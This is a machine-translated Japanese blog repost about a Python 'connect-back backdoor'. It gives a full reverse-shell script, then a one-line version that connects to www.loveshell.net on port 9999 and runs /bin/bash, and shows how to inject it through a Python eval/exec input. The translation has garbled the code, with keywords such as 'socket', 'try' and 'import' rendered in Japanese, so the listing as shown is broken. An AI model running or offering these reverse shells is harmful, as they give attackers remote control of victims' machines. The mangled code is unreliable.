Python コードの活用は本当にクールです

WBOY
リリース: 2016-06-16 08:47:41
オリジナル
1252 人が閲覧しました

なぜ突然これを見たいのかわかりませんが、笑
私の Python アンチシェル コード
#!/usr/bin/python
# Python Connect-back Backdoor
# 著者: wofeiwo
# バージョン: 1.0
# 日付: 2006 年 7 月 15 日

import sys
import os
importソケット
shell = "/bin/sh"

def 使用法(プログラム名):
print "Python Connect-back Backdoor"
print "作成者: wofeiwo "
print "日付: 2006 年 7 月 15 日n"
print "使用法: % s n" % プログラム名

def main():
if len(sys.argv) != 3:
使用法(sys.argv[0])
sys.exit(1)

s =ソケット.socket(socket.AF_INET,ソケット.SOCK_STREAM)
試行:
s.connect((socket.gethostbyname(sys.argv[ 1] ),int(sys.argv[2])))
print "[+] 接続できました。"
ただし:
print "[-] %s:%s に接続できませんでした" % ( sys.argv[1], sys.argv[2])
sys.exit(2)
s.send("----------------- --------- - Python コネクトバック バックドア ------------------------n")
s.send (「---------------------- ----------------by ウォフェイウォ----------------- ---------------n")
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
グローバルシェル
os.system(shell)
print "See U!"
s.close()

if __name__ == "__main__": main()



は脆弱性の悪用にはあまり適していませんね。短いものが必要なので、保存は

です。 sys;インポート os;インポート ソケット;s = ソケット.socket(ソケット .AF_INET, ソケット.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("ようこそマスターrn");os.dup2(s.fileno() , 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("シェルはありますか?rn");os.system("/ bin/bash");s.close();s.send("また今度!rn");


とても短いですよね?
しかし、この脆弱性が悪用される可能性があります。たとえば、許可される入力は eval であり、複数のステートメントは許可されません (後で説明します)。
exec 'import sys;import os;importソケット;s =ソケット.socket(socket.AF_INET,ソケット.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),を変更することもできます) 9999));s.send("ようこそ私のマスター\r\n");os.dup2(s .fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s .fileno(), 2);s.send("シェルはありますか?\r\n") ;os.system("/bin/bash");s.close();s.send("見てください次回!\r\n");';


注意してください\ r\nああ、'' でも rn が改行になるようなので、実際には、ここでは ; を使用しなくても、適切なコードを作成できます。
マニュアルを参照してください。
exec ステートメントは、文字列またはファイルに保存されている Python ステートメントを実行するために使用されます。たとえば、実行時に Python コードを含む文字列を生成し、exec ステートメント



を使用してこれらのステートメントを実行できます。 eval ステートメントは、文字列


はは、ここで eval を使用するのは間違いのようです。
YY、考え方は同じですが、言語の制限を突破する方法は次のとおりです。問題が...

ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート